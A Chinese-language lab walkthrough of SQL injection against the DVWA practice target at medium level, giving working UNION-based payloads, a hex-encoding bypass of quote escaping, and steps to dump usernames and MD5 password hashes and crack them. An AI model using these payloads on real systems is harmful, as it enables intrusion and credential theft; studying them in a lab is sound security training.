注入id列表_SQL注入--dvwa靶场--medium注入详解

medium等级提供了下拉列表选择user ID

这个时候是没有输入框的，那么想要注入就抓包试试（burpsuit）

获得数据包以后我们发现里面的ID选项是可以修改的，那么我们进行注入类型的判断

1 and 1=1成功执行

1 and 1=2，逻辑为假，不执行

1'，报错。综上可以判断存在数字型注入。并且我们可以发现'被转义为'

=1 order by 1#猜解字段数

=1 order by 2#

=1 order by 3#报错，说明字段数为2

1 union select 1,2#确定出回显位置有两个

1 union select 1,database()#得到数据库名称

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

得到dvwa中两张表名guestbook和users

考虑到单引号被转义，可以利用 16 进制进行绕过

union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

=1 union select user,password from users#获取字段内容

最后得到的密码是经过MD5加密的，我们可以使用MD5在线解密工具对其进行解密后得到明文密码。